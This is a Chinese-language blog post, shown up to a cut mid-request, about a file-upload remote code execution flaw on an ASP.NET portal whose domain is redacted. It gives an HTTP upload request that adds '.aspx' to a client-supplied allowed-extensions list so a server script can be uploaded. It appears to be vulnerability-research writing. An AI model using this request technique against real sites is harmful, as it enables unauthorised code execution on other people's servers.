【网络安全】ASP.NET网站中的文件上传RCE

秋说

于 2024-09-01 15:54:57 发布

阅读量170

点赞数

分类专栏：网络安全文章标签： asp.net 后端 web安全漏洞挖掘

该原创文章未经本人许可，不得用于商业用途。未经授权不得转载，否则保留追究法律责任的权利。

本文链接：https://blog.csdn.net/2301_77485708/article/details/141785454

版权

网络安全专栏收录该内容

71 篇文章 2 订阅 ¥49.90 ¥99.00

订阅专栏

超级会员免费看

未经许可，不得转载。

文章目录

- 正文

正文

目标：subdomain.REDACTED.vn

有一个端点允许将文档上传到服务器，由于这个门户网站使用了ASP.NET框架，我尝试上传了一个随机的aspx文件。

请求包如下：

POST /api/Upload?dirName=<value>&typeData=files&acceptExtensions=[%22.pdf%22,%22.png%22,%22.jpeg%22,%22.jpg%22,%22.doc%22,%22.docx%22,%22.xls%22,%22.xlsx%22,%22.gif%22,%22.aspx%22] HTTP/2
Host: subdomain.REDACTED.vn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer Token
Content-Type: multipart/form-data; boundary=------------------------